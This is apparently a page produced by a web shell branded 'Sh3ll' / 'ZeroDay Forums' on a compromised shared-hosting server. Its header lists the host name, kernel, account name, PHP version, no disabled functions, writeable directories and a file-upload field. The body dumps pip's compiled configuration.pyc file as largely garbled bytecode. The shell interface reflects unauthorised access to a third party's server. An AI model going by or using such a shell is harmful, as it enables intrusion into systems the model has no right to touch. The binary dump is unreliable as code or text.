Sh3ll
OdayForums


Server : LiteSpeed
System : Linux premium84.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : claqxcrl ( 523)
PHP Version : 8.1.32
Disable Function : NONE
Directory :  /lib/python3.8/site-packages/pip/_internal/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3.8/site-packages/pip/_internal/__pycache__/configuration.cpython-38.pyc
U

��.e�7�@sdZddlZddlZddlZddlZddlmZddlmZm	Z	ddl
mZddlm
Z
mZddlmZmZddlmZer�dd	lmZmZmZmZmZmZmZejZed
e�Ze�e �Z!dd�Z"d
d�Z#edddddd�Z$e
r�dndZ%dd�Z&Gdd�de'�Z(dS)aConfiguration management setup

Some terminology:
- name
  As written in config files.
- value
  Value associated with a name
- key
  Name combined with it's section (section.name)
- variant
  A single word describing where the configuration key-value pair came from
�N)�configparser)�ConfigurationError�!ConfigurationFileCouldNotBeLoaded)�appdirs)�WINDOWS�
expanduser)�
ensure_dir�enum)�MYPY_CHECK_RUNNING)�Any�Dict�Iterable�List�NewType�Optional�Tuple�KindcCs*|���dd�}|�d�r&|dd�}|S)zFMake a name consistent regardless of source (environment or file)
    �_�-z--�N)�lower�replace�
startswith)�name�r�?/usr/lib/python3.8/site-packages/pip/_internal/configuration.py�_normalize_name.s
rcCs&d|krd�|�}t|��|�dd�S)N�.zbKey does not contain dot separated section and key. Perhaps you wanted to use 'global.{}' instead?�)�formatr�split)rZ
error_messagerrr�_disassemble_key8s��r!�user�globalZsite�envzenv-var)�USER�GLOBAL�SITE�ENV�ENV_VARzpip.inizpip.confcCspdd�t�d�D�}tj�tjt�}tj�td�t	r8dndt�}tj�t�
d�t�}tj|tj
|gtj||giS)NcSsg|]}tj�|t��qSr)�os�path�join�CONFIG_BASENAME)�.0r+rrr�
<listcomp>Qs�z+get_configuration_files.<locals>.<listcomp>Zpip�~z.pip)rZsite_config_dirsr*r+r,�sys�prefixr-rrZuser_config_dir�kindsr&r'r%)Zglobal_config_filesZsite_config_fileZlegacy_config_fileZnew_config_filerrr�get_configuration_filesPs(�
���r4cs�eZdZdZd)�fdd�	Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Ze
dd��Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Z�ZS)*�
Configurationa�Handles management of configuration.

    Provides an interface to accessing and managing configuration files.

    This class converts provides an API that takes "section.key-name" style
    keys and stores the value associated with it as "key-name" under the
    section "section".

    This allows for a clean interface wherein the both the section and the
    key-name are preserved in an easy to manage form in the configuration files
    and the data stored is also nice.
    Nc
s�tt|���tjtjtjdg}||krJtd�d�	t
t|dd������||_||_
tjtjtjtjtjg|_ddg|_dd�|jD�|_dd�|jD�|_g|_dS)	Nz5Got invalid value for load_only - should be one of {}z, ����version�helpcSsi|]
}|g�qSrr�r.�variantrrr�
<dictcomp>�sz*Configuration.__init__.<locals>.<dictcomp>cSsi|]
}|i�qSrrr9rrrr;�s)�superr5�__init__r3r%r&r'rrr,�map�repr�isolated�	load_onlyr(r)�_override_order�_ignore_env_names�_parsers�_config�_modified_parsers)�selfr@rAZ_valid_load_only��	__class__rrr=ts0���
��zConfiguration.__init__cCs|��|js|��dS)zELoads configuration from configuration files and environment
        N)�_load_config_filesr@�_load_environment_vars�rGrrr�load�szConfiguration.loadcCs<|jdk	std��z|��dWStk
r6YdSXdS)z@Returns the file with highest priority in configuration
        Nz)Need to be specified a file to be editingr)rA�AssertionError�_get_parser_to_modify�
IndexErrorrLrrr�get_file_to_edit�s�zConfiguration.get_file_to_editcCs
|j��S)z`Returns key-value pairs like dict.items() representing the loaded
        configuration
        )�_dictionary�itemsrLrrrrS�szConfiguration.itemscCs4z|j|WStk
r.td�|���YnXdS)z,Get a value from the configuration.
        �No such key - {}N)rR�KeyErrorrr)rG�keyrrr�	get_value�szConfiguration.get_valuecCsj|��|��\}}|dk	rJt|�\}}|�|�s<|�|�|�|||�||j|j|<|�||�dS)z-Modify a value in the configuration.
        N)	�_ensure_have_load_onlyrOr!�has_sectionZadd_section�setrErA�_mark_as_modified)rGrV�value�fname�parser�sectionrrrr�	set_value�s

zConfiguration.set_valuec	Cs�|��||j|jkr&td�|���|��\}}|dk	r�t|�\}}d}|�|�r`|�||�}|r�t	|�
|��}zt|�}Wntk
r�d}YnX|dkr�|�
|�|�||�ntd��|j|j|=dS)z,Unset a value in the configuration.
        rTNFz4Fatal Internal error [id=1]. Please report as a bug.)rXrErArrrOr!rYZ
remove_option�iterrS�next�
StopIterationZremove_sectionr[)	rGrVr]r^r_rZmodified_somethingZsection_iter�valrrr�unset_value�s,


�zConfiguration.unset_valuec
CsX|��|jD]D\}}t�d|�ttj�|��t|d��}|�	|�W5QRXqdS)z*Save the current in-memory state.
        z
Writing to %s�wN)
rXrF�logger�inforr*r+�dirname�open�write)rGr]r^�frrr�save�szConfiguration.savecCs$|jdkrtd��t�d|j�dS)Nz'Needed a specific file to be modifying.z$Will be working with %s variant only)rArrg�debugrLrrrrXs
z$Configuration._ensure_have_load_onlycCs$i}|jD]}|�|j|�q
|S)z<A dictionary representing the loaded configuration.
        )rB�updaterE)rGZretvalr:rrrrR	s
zConfiguration._dictionarycCs�t|���}|tjdd�tjgkr4t�d�dS|��D]V\}}|D]H}|j	dk	rp||j	krpt�d||�qH|�
||�}|j|�||f�qHq<dS)z5Loads configuration from configuration files
        rrzZSkipping loading configuration files due to environment's PIP_CONFIG_FILE being os.devnullNz Skipping file '%s' (variant: %s))
�dict�_iter_config_filesr3r(r*�devnullrgrnrSrA�
_load_filerD�append)rG�config_filesr:�filesr]r^rrrrJs"��z Configuration._load_config_filescCsLt�d||�|�|�}|��D]&}|�|�}|j|�|�||��q |S)Nz'For variant '%s', will try loading '%s')rgrn�_construct_parserZsectionsrSrEro�_normalized_keys)rGr:r]r^r_rSrrrrs2s

zConfiguration._load_filec
Cs�t��}tj�|�r|z|�|�WnXtk
rNtd�t	�
d��|d��Yn.tjk
rz}zt|d��W5d}~XYnX|S)Nzcontains invalid {} charactersF)�reasonr])�error)r�RawConfigParserr*r+�exists�read�UnicodeDecodeErrorrr�localeZgetpreferredencoding�Error)rGr]r^rzrrrrw=s��
zConfiguration._construct_parsercCs"|jtj�|�d|����dS)z7Loads configuration from environment variables
        z:env:N)rEr3r)rorx�_get_environ_varsrLrrrrKTs�z$Configuration._load_environment_varscCs.i}|D] \}}|dt|�}|||<q|S)z�Normalizes items to construct a dictionary with normalized keys.

        This routine is where the names become keys and are made the same
        regardless of source - configuration files or environment.
        r)r)rGr_rSZ
normalizedrrdrVrrrrx\s

zConfiguration._normalized_keysccsRtj��D]B\}}|�d�o0|dd���|jk}|r
|dd���|fVq
dS)z@Returns a generator with all environmental vars with prefix PIP_ZPIP_�N)r*�environrSrrrC)rGrVrdZshould_be_yieldedrrrr�is
�zConfiguration._get_environ_varsccs�tj�dd�}|dk	r&tj|gfVntjgfVt�}tj|tjfV|job|o`tj�	|�}|rztj
|tj
fVtj|tjfVdS)zYields variant and configuration files associated with it.

        This should be treated like items of a dictionary.
        ZPIP_CONFIG_FILEN)r*r��getr3r(r4r&r@r+r|r%r')rGZconfig_fileruZshould_load_user_configrrrrqus	�z Configuration._iter_config_filescCs |j|j}|std��|dS)Nz4Fatal Internal error [id=2]. Please report as a bug.r6)rDrAr)rGZparsersrrrrO�s�z#Configuration._get_parser_to_modifycCs"||f}||jkr|j�|�dS)N)rFrt)rGr]r^Zfile_parser_tuplerrrr[�s
zConfiguration._mark_as_modified)N)�__name__�
__module__�__qualname__�__doc__r=rMrQrSrWr`rermrX�propertyrRrJrsrwrKrxr�rqrOr[�
__classcell__rrrHrr5fs*
	'


r5))r�rZloggingr*r1Zpip._vendor.six.movesrZpip._internal.exceptionsrrZpip._internal.utilsrZpip._internal.utils.compatrrZpip._internal.utils.miscrr	Zpip._internal.utils.typingr
�typingrrr
rrrrr{�strrZ	getLoggerr�rgrr!r3r-r4�objectr5rrrr�<module>s6$


�	

ZeroDay Forums Mini